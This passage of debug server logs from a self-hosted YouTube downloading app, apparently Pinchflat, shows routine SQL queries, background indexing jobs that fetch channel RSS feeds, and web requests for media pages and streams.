LIMIT 1 [] 17:00:27.776 [debug] QUERY OK source="settings" db=0.0ms idle=167.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:27.776 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:27.776 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:27.777 [info] Sent 200 in 2ms 17:00:30.460 [info] GET /media/d7148368-8a81-43d0-9042-4bae425b8c72/stream 17:00:30.460 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "d7148368-8a81-43d0-9042-4bae425b8c72", "v" => "1784834550"} Pipelines: [:maybe_basic_auth] 17:00:30.460 [debug] QUERY OK source="media_items" db=0.1ms idle=1466.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["d7148368-8a81-43d0-9042-4bae425b8c72"] 17:00:30.460 [debug] Invalid range request for media item: d7148368-8a81-43d0-9042-4bae425b8c72 - serving full file 17:00:30.460 [info] Sent 200 in 491µs 17:00:57.226 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.648 [info] {"args":{"id":2},"id":715,"meta":{},"system_time":1784912460648609086,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:00.649 [debug] QUERY OK source="tasks" db=0.5ms idle=1655.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:00.649 [debug] QUERY OK source="sources" db=0.7ms idle=1654.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:01:00.651 [debug] QUERY OK source="settings" db=1.7ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:00.651 [debug] QUERY OK source="sources" db=1.9ms idle=1008.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:01:00.651 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:00.651 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:00.651 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:01:00.657 [info] GET /sources/1/media/12 17:01:00.657 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "12", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:00.657 [debug] QUERY OK source="media_items" db=0.1ms idle=8.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12] 17:01:00.657 [debug] QUERY OK source="tasks" db=0.0ms idle=6.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [12] 17:01:00.658 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:00.658 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=6.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [18] 17:01:00.658 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:00.658 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:00.658 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:00.659 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:00.659 [info] Sent 200 in 2ms 17:01:00.766 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:01:00.773 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:01:00.774 [debug] QUERY OK source="media_items" db=0.1ms idle=115.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 17:01:00.774 [debug] QUERY OK source="media_items" db=0.2ms idle=116.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:01:00.775 [debug] QUERY OK source="tasks" db=0.0ms idle=8.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [718, 2, ~U[2026-07-24 17:01:00Z], ~U[2026-07-24 17:01:00Z]] 17:01:00.775 [info] {"args":{"id":2},"id":715,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126647,"event":"job:stop","queue_time":23075,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:00.775 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:04.149 [info] GET /media_profiles/1 17:01:04.149 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"delete_files" => "true", "id" => "1"} Pipelines: [:browser] 17:01:04.149 [debug] QUERY OK source="media_profiles" db=0.1ms idle=503.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:04.149 [debug] QUERY OK source="sources" db=0.1ms idle=156.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 17:01:04.150 [debug] QUERY OK source="settings" db=0.0ms idle=156.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:04.150 [debug] QUERY OK source="settings" db=0.0ms idle=156.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:04.150 [debug] QUERY OK source="settings" db=0.0ms idle=156.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:04.151 [info] Sent 200 in 1ms 17:01:10.662 [info] {"args":{"id":1},"id":716,"meta":{},"system_time":1784912470662175808,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:10.662 [debug] QUERY OK source="sources" db=0.1ms idle=668.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:10.662 [debug] QUERY OK source="tasks" db=0.3ms idle=668.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:10.662 [debug] QUERY OK source="settings" db=0.1ms idle=668.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:10.663 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:01:10.663 [debug] QUERY OK source="sources" db=0.2ms idle=0.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:10.663 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:10.663 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 17:01:10.703 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:01:10.704 [debug] QUERY OK source="media_items" db=0.3ms idle=41.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 17:01:10.706 [debug] QUERY OK source="media_items" db=2.1ms idle=41.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:01:10.707 [debug] QUERY OK source="tasks" db=0.0ms idle=44.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [719, 1, ~U[2026-07-24 17:01:10Z], ~U[2026-07-24 17:01:10Z]] 17:01:10.707 [info] {"args":{"id":1},"id":716,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":45539,"event":"job:stop","queue_time":425419,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:10.708 [debug] QUERY OK source="tasks" db=0.3ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:01:12.622 [info] GET /sources/1/media/5 17:01:12.622 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "5", "prevent_download" => "true", "source_id" => "1"} Pipelines: [:browser] 17:01:12.623 [debug] QUERY OK source="media_items" db=0.1ms idle=965.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [5] 17:01:12.623 [debug] QUERY OK source="tasks" db=0.0ms idle=629.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [5] 17:01:12.623 [debug] QUERY OK source="sources" db=0.1ms idle=629.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:01:12.623 [debug] QUERY OK source="settings" db=0.0ms idle=629.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:12.623 [debug] QUERY OK source="settings" db=0.0ms idle=629.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:12.623 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:01:12.624 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", 